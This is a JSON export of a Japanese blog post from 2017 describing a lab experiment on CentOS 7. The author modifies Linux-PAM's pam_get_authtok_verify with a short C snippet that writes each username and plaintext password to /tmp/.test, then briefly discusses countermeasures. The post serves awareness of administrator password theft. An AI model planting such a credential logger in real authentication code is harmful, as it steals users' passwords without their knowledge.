{"id":189,"date":"2017-06-03T08:12:40","date_gmt":"2017-06-02T23:12:40","guid":{"rendered":"http:\/\/tamatoyaku.com\/b\/?p=189"},"modified":"2017-06-03T08:12:40","modified_gmt":"2017-06-02T23:12:40","slug":"189","status":"publish","type":"post","link":"https:\/\/p-0.me\/b\/p\/189\/","title":{"rendered":"passwd\u306e\u6539\u5909\u3068\u304b"},"content":{"rendered":"<p><strong>\u6700\u521d\u306b<\/strong><br \/>\n\u7ba1\u7406\u8005\u306a\u3089\u5229\u7528\u8005\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u53d6\u5f97\u3059\u308b\u6a5f\u4f1a\u304c\u3042\u308b\u306f\u305a.<br \/>\n\u3082\u3057\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u4f7f\u3044\u56de\u3057\u3068\u304b\u3057\u3066\u305f\u3089\u3068\u3066\u3082\u5371\u967a\u306a\u3053\u3068\u306b\u306a\u308b.<br \/>\n\u3067\u306f,\u7ba1\u7406\u8005\u304c\u5229\u7528\u8005\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u53d6\u5f97\u3059\u308b\u306b\u306f\u3069\u306e\u3088\u3046\u306a\u65b9\u6cd5\u304c\u3042\u308b\uff1f<br \/>\n<!--more--><br \/>\n<strong>\u5177\u4f53\u7684\u306a\u65b9\u6cd5<\/strong><br \/>\n\u3044\u304f\u3064\u304b\u306e\u65b9\u6cd5\u304c\u8003\u3048\u3089\u308c\u308b\u304c\uff0c\u57fa\u672c\u7684\u306b\u306f\u5165\u529b\u3055\u308c\u305f\u6642\u70b9\u3067\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u53d6\u5f97\u3059\u308b\u306e\u304c\u4e00\u756a\u697d\u304b\u3082\u3057\u308c\u306a\u3044.\u4ee5\u4e0b\u306b\u3044\u304f\u3064\u304b\u306e\u65b9\u6cd5\u3092\u793a\u3059\uff0e<br \/>\n1.passwd\u3084shadow\u30d5\u30a1\u30a4\u30eb\u306e\u89e3\u6790\u3092\u884c\u3046\uff0e<br \/>\nshadow\u30d5\u30a1\u30a4\u30eb\u306e\u95b2\u89a7\u306b\u306froot\u304c\u5fc5\u8981\u3060\u304c\uff0c\u624b\u306b\u5165\u308c\u3070John the Ripper\u306a\u3069\u306e\u30c4\u30fc\u30eb\u3092\u4f7f\u3063\u3066\u89e3\u6790\u3092\u884c\u3046\u3053\u3068\u304c\u53ef\u80fd\u3068\u306a\u308b\uff0e\u3053\u306e\u65b9\u6cd5\u306f\u30b7\u30b9\u30c6\u30e0\u306b\u5909\u66f4\u3092\u52a0\u3048\u308b\u3053\u3068\u306a\u304f\u8a66\u3059\u3053\u3068\u304c\u3067\u304d\u308b\uff0e<br \/>\n2.passwd\u30b3\u30de\u30f3\u30c9\u306e\u6539\u5909<br \/>\npasswd\u3092\u6539\u5909\u3057\uff0c\u5165\u529b\u3055\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3059\u308b\uff0epasswd\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u8aad\u3080\u5fc5\u8981\u304c\u3042\u308a\uff0c\u5c11\u3057\u9762\u5012\uff0e\u307e\u305f,passwd\u30b3\u30de\u30f3\u30c9\u3092\u4f7f\u3046\u983b\u5ea6\u306f\u5c11\u306a\u3044\u305f\u3081,\u304a\u305d\u3089\u304f\u521d\u56de\u3057\u304b\u52b9\u679c\u3092\u767a\u63ee\u3057\u306a\u3044\uff0e<br \/>\n3.sudo\u30b3\u30de\u30f3\u30c9\u306e\u6539\u5909<br \/>\n\u5229\u7528\u8005sudoers\u306b\u5165\u3063\u3066\u3044\u308b\u5834\u5408\u306e\u307f\u4f7f\u7528\u53ef\u80fd\uff0e\u5165\u529b\u3055\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3057\uff0c\u3042\u308f\u3088\u304f\u3070\u4ed6\u306e\u30b5\u30fc\u30d3\u30b9\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u7372\u308c\u308b\u304b\u3082\u3057\u308c\u306a\u3044\uff1f\u4eba\u306b\u3088\u3063\u3066\u4f7f\u7528\u983b\u5ea6\u304c\u7570\u306a\u308b\u70b9\u304c\u6b20\u70b9\uff0e<br \/>\n4.ssh\u30b3\u30de\u30f3\u30c9\u306e\u6539\u5909<br \/>\n\u6700\u3082\u591a\u304f\u306e\u6a5f\u4f1a\u304c\u3042\u308b\u65b9\u6cd5\uff0e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u8aad\u3080\u5fc5\u8981\u304c\u3042\u308b\uff0e\u30b5\u30fc\u30d0\u306f\u57fa\u672c\u7684\u306b\u30ea\u30e2\u30fc\u30c8\u30ed\u30b0\u30a4\u30f3\u3067\u4f7f\u7528\u3059\u308b\u305f\u3081\u6700\u3082\u78ba\u5b9f\u306a\u65b9\u6cd5\uff0e<br \/>\n&nbsp;<br \/>\n<strong>\u65b9\u6cd5\u306e\u9078\u5b9a<\/strong><br \/>\n\u4eca\u56de\u306f 2.passwd\u30b3\u30de\u30f3\u30c9\u306e\u6539\u5909 \u3092\u8a66\u3057\u3066\u307f\u308b\u3053\u3068\u3068\u3059\u308b\uff0e\u7406\u7531\u3068\u3057\u3066\u306fpasswd,shadow\u30d5\u30a1\u30a4\u30eb\u306e\u89e3\u6790\u306f\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u9577\u3055\u306b\u3088\u308a\u89e3\u6790\u306b\u304b\u304b\u308b\u6642\u9593\u304c\u5909\u52d5\u3059\u308b\u3053\u3068\uff0c\u4ed6\u306e\u30b3\u30de\u30f3\u30c9\u3068\u6bd4\u8f03\u3057\u3066\u5c0f\u898f\u6a21\u306a\u30b3\u30de\u30f3\u30c9\u306a\u305f\u3081\u3067\u3042\u308b.<br \/>\n&nbsp;<br \/>\n<strong>\u5b9f\u9a13\u74b0\u5883<\/strong><br \/>\n\u4eee\u60f3\u30de\u30b7\u30f3\u4e0a\u306bCentOS7\u3092\u5165\u308c\u3066\u5b9f\u9a13\u3092\u884c\u3063\u305f\uff0e<br \/>\n\u4ee5\u4e0b\u306b\u74b0\u5883\u3092\u793a\u3059\uff0e<br \/>\n[\u30db\u30b9\u30c8]<br \/>\nOS\uff1aWindows 10 Education<br \/>\n\u30d7\u30ed\u30bb\u30c3\u30b5\uff1aIntel Corei7-3632QM<br \/>\n\u5b9f\u88c5\u30e1\u30e2\u30ea\uff1a16.0[GB]<br \/>\n[\u30b2\u30b9\u30c8]<br \/>\n\u4eee\u60f3\u5316\u30bd\u30d5\u30c8\uff1aVirtual Box 5.1.18<br \/>\nOS\uff1aCentOS Linux release 7.3.1611 (Core)<br \/>\n&nbsp;<br \/>\n<strong>\u5b9f\u9a13<\/strong><br \/>\nwget,gcc,vim,yumdownloader,bzip2\u3092\u5165\u308c\u308b<\/p>\n<pre class=\"lang:sh decode:true\">#yum install wget gcc vim yum-utils bzip2<\/pre>\n<p>&nbsp;<br \/>\npasswd\u306e\u30bd\u30fc\u30b9\u4ed8\u304d\u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b<\/p>\n<pre class=\"lang:sh decode:true\">#yumdownloader --source passwd<\/pre>\n<p>&nbsp;<br \/>\n\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u5c55\u958b\u3092\u884c\u3046<\/p>\n<pre class=\"lang:sh decode:true\">#rpm -ivh passwd-0.79-4.el7.src.rpm<\/pre>\n<p>&nbsp;<br \/>\n$HOME\/rpmbuild\/SOURCES\u306bpasswd-0.79.tar.bz2\u3068passwd-0.79-translation-updates.patch\u3068\u304c\u5c55\u958b\u3055\u308c\u308b\u306e\u3067\uff0ctar.bz2\u3092\u4f38\u9577\u3059\u308b\uff0e<\/p>\n<pre class=\"lang:sh decode:true\">#tar xf\u00a0passwd-0.79.tar.bz2<\/pre>\n<p>&nbsp;<br \/>\n\u4f38\u9577\u3057\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u4e2d\u306bpasswd.c\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u304c\u3042\u308b\u306e\u3067\u8aad\u307f\u9032\u3081\u3066\u3044\u304f\uff0e\u8aad\u307f\u9032\u3081\u305f\u7d50\u679c\uff0c\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u8a2d\u5b9a\u306fPAM\u306b\u4e38\u6295\u3052\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u305f\uff0e<\/p>\n<pre class=\"lang:c mark:5 decode:true\" title=\"passwd.c\">int\nmain(int argc, const char **argv)\n{\n   (\u7565)\nretval = pam_start(\"passwd\", username, &amp;conv, &amp;pamh);\n   (\u7565)\n}<\/pre>\n<p>&nbsp;<br \/>\nLinux-PAM\u3068\u306fLinux\u306b\u304a\u3051\u308b\u8a8d\u8a3c\u3084\u6697\u53f7\u5316\u3092\u884c\u3046\u30b7\u30b9\u30c6\u30e0\u3067\u3042\u308b.\u3053\u308c\u306b\u3088\u308a\u8a8d\u8a3c\u3092\u5171\u901a\u5316\u3059\u308b\u3053\u3068\u3067\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u6bce\u306b\u8a8d\u8a3c\u6a5f\u69cb\u3092\u4f5c\u6210\u3059\u308b\u5fc5\u8981\u304c\u306a\u304f\u306a\u308b\uff0e\u516c\u5f0f\u30b5\u30a4\u30c8\u306f<a href=\"http:\/\/www.linux-pam.org\">Linux-PAM<\/a>\u3067,\u30bd\u30fc\u30b9\u306f<a href=\"http:\/\/www.linux-pam.org\/library\/\">\u3053\u3053<\/a>\u306b\u3042\u308b.<br \/>\n\u307e\u305f,Github\u306b\u3082\u6700\u65b0\u7248\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u304c\u3042\u308b\uff0e\u305f\u3060\u3057Github\u306e\u30b3\u30fc\u30c9\u3092\u4f7f\u3046\u5834\u5408autoconf\u306a\u3069\u3092\u4f7f\u3063\u3066\u81ea\u5206\u3067configure\u3092\u751f\u6210\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u306a\u3069\uff0c\u5c11\u3057\u624b\u9593\u304c\u5897\u3048\u308b\uff0e<br \/>\n\u305d\u306e\u305f\u3081,\u4eca\u56de\u306f\u516c\u5f0f\u30b5\u30a4\u30c8\u304b\u3089\u30bd\u30fc\u30b9\u3092\u843d\u3068\u3059\u3053\u3068\u3068\u3057\u305f\uff0e<br \/>\n&nbsp;<br \/>\nLinux-PAM\u306e\u30bd\u30fc\u30b9\u3092\u843d\u3068\u3057\uff0c\u5c55\u958b\u3057\uff0c\u3068\u308a\u3042\u3048\u305a\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u3066\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\uff0e<\/p>\n<pre class=\"lang:sh decode:true \">#wget\u00a0http:\/\/www.linux-pam.org\/library\/Linux-PAM-1.3.0.tar.bz2\n#tar xf Linux-PAM-1.3.0.tar.bz2\n#cd\u00a0Linux-PAM-1.3.0\n#.\/configure\n#make\n#make install\n#make xtests\n<\/pre>\n<p>&nbsp;<br \/>\n\u7121\u4e8b\u306b\u7d42\u4e86\u3057\u305f\u3089\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u8aad\u307f\u9032\u3081\u308b\uff0e\u8aad\u307f\u9032\u3081\u3066\u3044\u304f\u3068passwd.c\u306b\u66f8\u3044\u3066\u3042\u3063\u305fpam_start\u95a2\u6570\u306fPAM\u306e\u30cf\u30f3\u30c9\u30e9\u306b\u767b\u9332\u3059\u308b\u3082\u306e\u3067\u3042\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u305f\uff0e\u30cf\u30f3\u30c9\u30e9\u306e\u6d41\u308c\u3092\u8fbf\u308b\u306e\u306f\u9762\u5012\u306a\u306e\u3067\uff0cpassword\u306a\u3069\u3067\u691c\u7d22\u3092\u884c\u3044\u306a\u304c\u3089\u8aad\u307f\u9032\u3081\u3066\u3044\u304f\u3068\uff0cpam_get_authtok.c\u306epam_get_authtok(pam_get_authtok_internal)\u95a2\u6570\u3068pam_get_authtok_verify\u95a2\u6570\u304c\u602a\u3057\u3044\u3068\u5206\u304b\u3063\u305f\uff0e<br \/>\n\u4ee5\u4e0b\u306b\u305d\u308c\u305e\u308c\u306e\u95a2\u6570\u3092\u793a\u3059\uff0e<br \/>\n&nbsp;<\/p>\n<pre class=\"lang:default mark:92-100 decode:true\" title=\"pam_get_authtok_internal\">static int\npam_get_authtok_internal (pam_handle_t *pamh, int item,\n\t\t\t  const char **authtok, const char *prompt,\n\t\t\t  unsigned int flags)\n{\n  char *resp[2] = {NULL, NULL};\n  const void *prevauthtok;\n  const char *authtok_type = \"\";\n  int chpass = 0; \/* Password change, ask twice for it *\/\n  int retval;\n  if (authtok == NULL)\n    return PAM_SYSTEM_ERR;\n  \/* PAM_AUTHTOK in password stack returns new password,\n     which needs to be verified. *\/\n  if (pamh-&gt;choice == PAM_CHAUTHTOK)\n    {\n      if (item == PAM_AUTHTOK)\n\t{\n\t  chpass = 1;\n\t  if (!(flags &amp; PAM_GETAUTHTOK_NOVERIFY))\n\t    ++chpass;\n\t}\n      authtok_type = get_option (pamh, \"authtok_type\");\n      if (authtok_type == NULL)\n\t{\n\t  retval = pam_get_item (pamh, PAM_AUTHTOK_TYPE, (const void **)&amp;authtok_type);\n\t  if (retval != PAM_SUCCESS || authtok_type == NULL)\n\t    authtok_type = \"\";\n\t}\n      else\n        pam_set_item(pamh, PAM_AUTHTOK_TYPE, authtok_type);\n    }\n  retval = pam_get_item (pamh, item, &amp;prevauthtok);\n  if (retval == PAM_SUCCESS &amp;&amp; prevauthtok != NULL)\n    {\n      *authtok = prevauthtok;\n      return PAM_SUCCESS;\n    }\n  else if (get_option (pamh, \"use_first_pass\") ||\n\t   (chpass &amp;&amp; get_option (pamh, \"use_authtok\")))\n    {\n      if (prevauthtok == NULL)\n\t{\n\t  if (chpass)\n\t    return PAM_AUTHTOK_ERR;\n\t  else\n\t    return PAM_AUTH_ERR;\n\t}\n      else\n\treturn retval;\n    }\n  if (prompt != NULL)\n    {\n      retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &amp;resp[0],\n\t\t\t   \"%s\", prompt);\n      if (retval == PAM_SUCCESS &amp;&amp; chpass &gt; 1 &amp;&amp; resp[0] != NULL)\n\tretval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &amp;resp[1],\n\t\t\t     _(\"Retype %s\"), prompt);\n    }\n  else if (chpass)\n    {\n      retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &amp;resp[0],\n\t\t\t   PROMPT1, authtok_type,\n\t\t\t   strlen (authtok_type) &gt; 0?\" \":\"\");\n      if (retval == PAM_SUCCESS &amp;&amp; chpass &gt; 1 &amp;&amp; resp[0] != NULL)\n\tretval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &amp;resp[1],\n\t\t\t     PROMPT2, authtok_type,\n\t\t\t     strlen (authtok_type) &gt; 0?\" \":\"\");\n    }\n  else if (item == PAM_OLDAUTHTOK)\n    retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &amp;resp[0],\n\t\t\t PROMPTCURRENT, authtok_type,\n\t\t\t strlen (authtok_type) &gt; 0?\" \":\"\");\n  else\n    retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &amp;resp[0], \"%s\",\n\t\t\t PROMPT);\n  if (retval != PAM_SUCCESS || resp[0] == NULL ||\n      (chpass &gt; 1 &amp;&amp; resp[1] == NULL))\n    {\n      \/* We want to abort *\/\n      if (chpass)\n        pam_error (pamh, _(\"Password change aborted.\"));\n      return PAM_AUTHTOK_ERR;\n    }\n  if (chpass &gt; 1 &amp;&amp; strcmp (resp[0], resp[1]) != 0)\n    {\n      pam_error (pamh, MISTYPED_PASS);\n      _pam_overwrite (resp[0]);\n      _pam_drop (resp[0]);\n      _pam_overwrite (resp[1]);\n      _pam_drop (resp[1]);\n      return PAM_TRY_AGAIN;\n    }\n  _pam_overwrite (resp[1]);\n  _pam_drop (resp[1]);\n  retval = pam_set_item (pamh, item, resp[0]);\n  _pam_overwrite (resp[0]);\n  _pam_drop (resp[0]);\n  if (retval != PAM_SUCCESS)\n    return retval;\n  return pam_get_item(pamh, item, (const void **)authtok);\n}<\/pre>\n<p>&nbsp;<\/p>\n<pre class=\"lang:default mark:35-42 decode:true \" title=\"pam_get_authtok_verify\">int\npam_get_authtok_verify (pam_handle_t *pamh, const char **authtok,\n\t\t\tconst char *prompt)\n{\n  char *resp = NULL;\n  const char *authtok_type = \"\";\n  int retval;\n  if (authtok == NULL || pamh-&gt;choice != PAM_CHAUTHTOK)\n    return PAM_SYSTEM_ERR;\n  if (prompt != NULL)\n    {\n      retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &amp;resp,\n\t\t\t   _(\"Retype %s\"), prompt);\n    }\n  else\n    {\n      retval = pam_get_item (pamh, PAM_AUTHTOK_TYPE, (const void **)&amp;authtok_type);\n      if (retval != PAM_SUCCESS || authtok_type == NULL)\n        authtok_type = \"\";\n      retval = pam_prompt (pamh, PAM_PROMPT_ECHO_OFF, &amp;resp,\n\t\t\t   PROMPT2, authtok_type,\n\t\t\t   strlen (authtok_type) &gt; 0?\" \":\"\");\n    }\n  if (retval != PAM_SUCCESS || resp == NULL)\n    {\n      \/* We want to abort the password change *\/\n      pam_set_item (pamh, PAM_AUTHTOK, NULL);\n      pam_error (pamh, _(\"Password change aborted.\"));\n      return PAM_AUTHTOK_ERR;\n    }\n  if (strcmp (*authtok, resp) != 0)\n    {\n      pam_set_item (pamh, PAM_AUTHTOK, NULL);\n      pam_error (pamh, MISTYPED_PASS);\n      _pam_overwrite (resp);\n      _pam_drop (resp);\n      return PAM_TRY_AGAIN;\n    }\n  retval = pam_set_item (pamh, PAM_AUTHTOK, resp);\n  _pam_overwrite (resp);\n  _pam_drop (resp);\n  if (retval != PAM_SUCCESS)\n    return retval;\n  return pam_get_item(pamh, PAM_AUTHTOK, (const void **)authtok);\n}<\/pre>\n<p>\u305d\u308c\u305e\u308c\u30cf\u30a4\u30e9\u30a4\u30c8\u3057\u305f\u90e8\u5206\u306f1\u56de\u76ee\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u30682\u56de\u76ee\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u6bd4\u8f03\u3057\u3066\u3044\u308b\uff0e\u305f\u3060\u3057,passwd\u30b3\u30de\u30f3\u30c9\u3092\u666e\u901a\u306b\u5b9f\u884c\u3057\u305f\u5834\u5408\u306fpam_get_authtok_internal\u95a2\u6570\u306eif\u6587\u306f\u901a\u3089\u305a\uff0c\u30d1\u30b9\u30ef\u30fc\u30c9\u306f1\u56de\u76ee\u3057\u304b\u8aad\u307f\u8fbc\u3093\u3067\u3044\u306a\u3044\u3053\u3068\u304c\u308f\u304b\u3063\u305f\uff0e\u4e00\u65b9\u3067\uff0cpam_get_authtok_verify\u95a2\u6570\u306eif\u6587\u3067\u306f1\u56de\u76ee\u30682\u56de\u76ee\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u6bd4\u8f03\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u5206\u304b\u3063\u305f\uff0e\u306a\u304a,\u78ba\u8a8d\u306b\u306fif\u6587\u306e\u524d\u306bprintf\u95a2\u6570\u3092\u7f6e\u3044\u3066\u51fa\u529b\u3055\u308c\u308b\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3057\u305f\uff0e<br \/>\n&nbsp;<br \/>\npam_get_authtok_verify\u95a2\u6570\u306eif\u6587\u306e\u524d\u3067\u306f1\u56de\u76ee\u30682\u56de\u76ee\u306b\u6253\u3061\u8fbc\u3093\u3060\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u305d\u308c\u305e\u308c*authtok,\u3068resp\u3068\u306b\u5e73\u6587\u3067\u4fdd\u5b58\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u305f\uff0e\u3042\u3068\u306f\u3053\u308c\u3092\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3059\u308b\uff0e\u30d5\u30a1\u30a4\u30eb\u306e\u4fdd\u5b58\u306fpam_get_authtok_verify\u95a2\u6570\u306e34\u884c\u76ee\u306b\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3059\u308b\u3053\u3068\u3067\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u308b\uff0e\u306a\u304a,\u30d5\u30a1\u30a4\u30eb\u306e\u5148\u982d\u306b\u306fstdio.h\u3068stdlib.h\u306e\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u304c\u5fc5\u8981\uff0e<\/p>\n<pre class=\"lang:default decode:true\" title=\"\u30d5\u30a1\u30a4\u30eb\u51fa\u529b\">  FILE *fp;\n  if ((fp = fopen(\"\/tmp\/.test\", \"a\")) != NULL)\n  {\n    fprintf(fp,\"%s,%s,%s\\n\",pamh-&gt;user,*authtok,resp);\n    fclose(fp);\n  }<\/pre>\n<p>\u3053\u308c\u306b\u3088\u308a<br \/>\n\u30e6\u30fc\u30b6\u540d\uff0c1\u56de\u76ee\u306b\u6253\u3061\u8fbc\u3093\u3060\u30d1\u30b9\uff0c2\u56de\u76ee\u306e\u30d1\u30b9<br \/>\n\u3068\u3044\u3046CSV\u5f62\u5f0f\u3067\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u4fdd\u5b58\u3055\u308c\u308b\uff0e<br \/>\n(\u5148\u306b\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u3063\u3066\u30d1\u30fc\u30df\u30c3\u30b7\u30e7\u30f3\u3092\u7de9\u304f\u3057\u306a\u3044\u3068\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307e\u308c\u306a\u3044\u3068\u3044\u3046\u554f\u984c\u304c\u3067\u304d\u305f\u3051\u3069\u6c17\u306b\u3057\u306a\u3044\u6c17\u306b\u3057\u306a\u3044)<br \/>\n&nbsp;<br \/>\n<strong>\u8003\u5bdf<\/strong><br \/>\n\u5b9f\u9a13\u304b\u3089\u7ba1\u7406\u8005\u3067\u3042\u308c\u3070\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u53d6\u5f97\u3059\u308b\u6a5f\u4f1a\u304c\u3042\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u305f\uff0e\u307e\u305f\uff0c\u4eca\u56de\u5b9f\u9a13\u3057\u305f\u65b9\u6cd5\u4ee5\u5916\u306b\u3082\u69d8\u3005\u306a\u624b\u6cd5\u304c\u8003\u3048\u3089\u308c\u308b\uff0e<br \/>\n\u6700\u3082\u7c21\u5358\u306a\u5bfe\u7b56\u3068\u3057\u3066\u306f\uff0c\u30b7\u30b9\u30c6\u30e0\u306b\u3088\u3063\u3066\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5909\u3048\u308b\u3053\u3068\u3067\u3042\u308b\uff0e\u30b3\u30de\u30f3\u30c9\u306b\u5bfe\u3057\u3066\u306f\u30b3\u30de\u30f3\u30c9\u3084\u30b7\u30b9\u30c6\u30e0\u306e\u30cf\u30c3\u30b7\u30e5\u3092\u6bd4\u8f03\u3059\u308b\u306a\u3069\u306e\u5bfe\u7b56\u304c\u8003\u3048\u3089\u308c\u308b\u304c\uff0c\u3053\u308c\u306f\u653b\u6483\u306b\u5bfe\u3059\u308b\u5bfe\u75c7\u7642\u6cd5\u306e\u3088\u3046\u306a\u3082\u306e\u3067\uff0c\u6839\u672c\u7684\u306a\u89e3\u6c7a\u306b\u306f\u306a\u3089\u306a\u3044\uff0e<br \/>\n\u5909\u306a\u30b7\u30b9\u30c6\u30e0\u306f\u8b66\u6212\u3057\u3066\uff0c\u3067\u304d\u308b\u3060\u3051\u60c5\u5831\u3092\u6e21\u3055\u306a\u3044\u3088\u3046\u306b\u5fc3\u304c\u3051\u3088\u3046&#8230;\uff0e<br \/>\n&nbsp;<br \/>\n<strong>\u53c2\u8003\u6587\u732e<\/strong><br \/>\n\u3053\u3046\u304d\u3093\uff0c&#8221;CentOS\u3067RPM\u306e\u30bd\u30fc\u30b9\u3092\u53d6\u5f97\u3059\u308b&#8221;\uff0chttp:\/\/kohkimakimoto.hatenablog.com\/entry\/2012\/03\/18\/071637\uff0c2017\/06\/01\u95b2\u89a7<br \/>\nLinux-PAM\uff0c&#8221;A Linux-PAM pages&#8221;\uff0chttp:\/\/www.linux-pam.org\/\uff0c2017\/06\/02\u95b2\u89a7<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6700\u521d\u306b \u7ba1\u7406\u8005\u306a\u3089\u5229\u7528\u8005\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u53d6\u5f97\u3059\u308b\u6a5f\u4f1a\u304c\u3042\u308b\u306f\u305a. \u3082\u3057\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u4f7f\u3044\u56de\u3057\u3068\u304b\u3057\u3066\u305f\u3089\u3068\u3066\u3082\u5371\u967a\u306a\u3053\u3068\u306b\u306a\u308b. \u3067\u306f,\u7ba1\u7406\u8005\u304c\u5229\u7528\u8005\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u53d6\u5f97\u3059\u308b\u306b\u306f\u3069\u306e\u3088\u3046\u306a\u65b9\u6cd5\u304c\u3042\u308b\uff1f<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-189","post","type-post","status-publish","format-standard","hentry","category-tech"],"_links":{"self":[{"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/posts\/189","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/comments?post=189"}],"version-history":[{"count":0,"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/posts\/189\/revisions"}],"wp:attachment":[{"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/media?parent=189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/categories?post=189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/p-0.me\/b\/wp-json\/wp\/v2\/tags?post=189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}